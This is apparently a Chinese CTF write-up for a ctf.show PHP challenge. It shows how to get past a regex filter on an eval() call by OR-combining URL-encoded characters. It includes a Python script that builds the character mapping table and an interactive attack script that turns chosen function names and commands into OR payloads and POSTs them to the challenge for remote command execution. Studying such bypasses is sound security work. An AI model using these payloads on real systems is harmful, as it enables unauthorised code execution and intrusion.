基本概念

  • 基本思路:首先关注该题过滤的符号:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    if(isset($_POST['c'])){
    $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
    }
    }else{
    highlight_file(__FILE__);
    }
    ?>

    可见该题未过滤或符号|和空格。
    所以我们可以使用或运算符|,利用url编码的字符通过或运算符计算获取目标字符,进而实现绕过正则匹配。

  • 关于eval执行的机制:
    如下代码也可以被eval执行:

    1
    2
    $a = ("system")("ls");
    echo($a)

    该机制为我们后面的脚本编写作铺垫

  • 关于ascii码输出机制:

    • 在256个ascii码中,只有大于等于32小于等于126ascii码为可见字符,其余字符并不可见,强行以二进制输出会出现代码,并且该类ascii所代表的不可见字符也不可以被python自带函数进行切片等其他操作。

    • 但是在php环境中,该类不可见字符也可以参与到如或运算这样的字符运算中,但是是以如下形式参与:

      1
      2
      3
      4
      <?php
      $c = ("\x13\x19\x13\x14\x05\r"|"``````")("\x0c\x13"|"``");//十六进制转义序列格式,常用于表示 ASCII 码中的不可见字符或特殊字符
      $a = ("system")("ls");
      echo($c);

      而根据输出的平台,该种不可见字符输出在前端的效果会有差异,可以自行实验。

代码脚本

  • 首先我们需要创建一个txt文件用于储存可被呈现字符与采用或运算|拼接形成该字符的两个原始字符:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import re

    preg_list = r"[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"
    def write_file(path):
    #从ascii码0到255遍历,左闭右开!!!!!!!!
    for i in range(256):
    for j in range(256):
    if not re.match(preg_list, chr(i), re.I) and not re.match(preg_list, chr(j), re.I):
    #构造或运算结果
    output = i | j
    #过滤该结果
    if output>=32 and output<=126 :
    #转化为url编码
    a = "%" + hex(i)[2:].zfill(2)
    b = "%" + hex(j)[2:].zfill(2)
    content = chr(output)+ "|" + a + "|" + b + "\n"
    with open(path, "a", encoding="utf-8") as f:
    f.write(content)
    print(f"写入成功: {content}")

    if __name__ == '__main__':
    write_file("rce_output.txt")
  • 为什么两个拼接字符要使用range(256),为什么不可以使用range(32,127)?即只采用32到126的所有ascii码,因为经过我的实验,这样的话,我们呈现出来拼接字符与最终字符的对照表会缺少一部分字符,包括s字符,所以还是取用32之前的字符,
    另外,个人已经实验过了,使用range(128),也可以获取可以使用的字符完整的映射表,因为在ascii码值为128之后的字符无论和谁进行或运算,其结果均大于128,写作range(256)反而显得很冗余。

  • 为什么对字符采用url编码,这个可见我们后面的脚本中的注释,首先,我们获得的映射表部分如下所示:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    /|%01|%2e
    /|%01|%2f
    ;|%01|%3a
    ;|%01|%3b
    =|%01|%3c
    =|%01|%3d
    ?|%01|%3e
    ?|%01|%3f
    A|%01|%40
  • 左边代表或运算最后获得的结果,右边则是组成该结果的经过url编码后的字符。

  • 攻击脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    import requests
    import urllib.parse

    def transform(strings):
    output_a = []
    output_b = []

    for s in strings:
    with open("rce_output.txt", "r", encoding="utf-8") as f:
    while True:
    l =f.readline()
    if l == "":
    break
    if s == l[0]:#我们如果不使用url编码,使用ascii码呈现的映射表,不好切片,因为数字的位数不同
    a = l[2:5]#不便于切片
    b = l[6:9]#若将ascii码采用chr处理获取字符,不可见字符则会呈现乱码,无法被代码操作。
    output_a.append(a)
    output_b.append(b)
    break
    output_a = "".join(output_a)
    output_b = "".join(output_b)
    output = f"(\"{output_a}\"|\"{output_b}\")"#需要让指令被引号包裹
    return output

    def attack():
    url = "http://4a43ebf8-4edc-45c2-be43-97c776ad4df2.challenge.ctf.show/"#改成自己的url
    function = input("Enter function name:")
    command = input("Enter command to execute:")
    function_output = transform(function)
    command_output = transform(command)

    print(urllib.parse.unquote(function_output + command_output))
    data = {"c": urllib.parse.unquote(function_output + command_output)}#这里不需要打括号
    try:#在这里我们将url编码后的字符解码,就算是不可见字符,也可以被转为16进制数在php中进行或运算
    response = requests.post(url, data=data)
    print("Status code:\n", response.status_code)
    print("Response:\n", response.text)
    except requests.exceptions.RequestException as e:
    print("出现错误:" + e)

    if __name__ == "__main__":
    while True:
    attack()
  • 可见,编码为url编码的意义就是:

    • url编码在映射表中方便切片处理
    • url编码可以让不可呈现字符在txt文档中呈现,且不可见字符解码后输入于php后端也可以被执行
      我们只有算上前32位的不可见字符,才可以来组成最后构建恶意代码的可见字符,否则数量有限,一些字符无法构建。
    • 另外\x13\x19\x13\x14\x05\这种不可见字符的呈现形式,只是vs code 调试模式方便你看罢了,真正post传给网页的解码后的数据形式不是这样的,因为如果是这样的,会被正则匹配匹配到。